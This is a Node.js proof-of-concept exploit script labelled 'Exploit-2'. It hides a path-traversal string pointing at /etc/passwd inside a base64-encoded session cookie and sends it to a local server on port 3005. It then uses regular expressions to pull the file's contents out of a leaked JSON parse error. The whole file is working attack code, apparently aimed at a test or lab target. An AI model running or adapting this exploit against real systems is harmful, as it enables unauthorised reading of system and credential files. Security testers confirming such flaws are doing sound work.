const http = require('http');
const traversalId = '../../../../../../etc/passwd';
const cookieName = 'session';
const payload = Buffer.from(JSON.stringify(traversalId)).toString('base64');
const cookieValue = `${cookieName}=${payload}`;

const options = {
    hostname: 'localhost',
    port: 3005,
    path: '/',
    method: 'GET',
    headers: {
        'Cookie': cookieValue
    }
};

console.log(`[Exploit-2] Sending request to read /etc/passwd via JSON error leak...`);

const req = http.request(options, (res) => {
    let rawData = '';
    res.on('data', (chunk) => {
        rawData += chunk;
    });
    res.on('end', () => {
        console.log('Response status:', res.statusCode);

        try {
            const jsonResponse = JSON.parse(rawData);
            if (jsonResponse.error) {
                console.log('\n[VULNERABILITY CONFIRMED]');
                console.log('The server tried to parse /etc/passwd as JSON and failed.');
                console.log('Error Message Leaked:');
                console.log('---------------------------------------------------');
                console.log(jsonResponse.error);
                console.log('---------------------------------------------------');

                let content = jsonResponse.error;
                const match = jsonResponse.error.match(/Invalid JSON: ([\s\S]*)/);
                if (match && match[1]) {
                    content = match[1];
                } else {
                    const matchV8 = jsonResponse.error.match(/Unexpected token '.*?', "(.*)"/);
                    if (matchV8 && matchV8[1]) content = matchV8[1];
                }

                if (content) {
                    console.log('\nExtracted File Content:');
                    console.log(content);
                }
            } else {
                console.log('Response (JSON):', JSON.stringify(jsonResponse, null, 2));
            }
        } catch (e) {
            console.log('Raw Body:', rawData);
        }
    });
});

req.on('error', (e) => {
    console.error(`Problem with request: ${e.message}`);
});

req.end();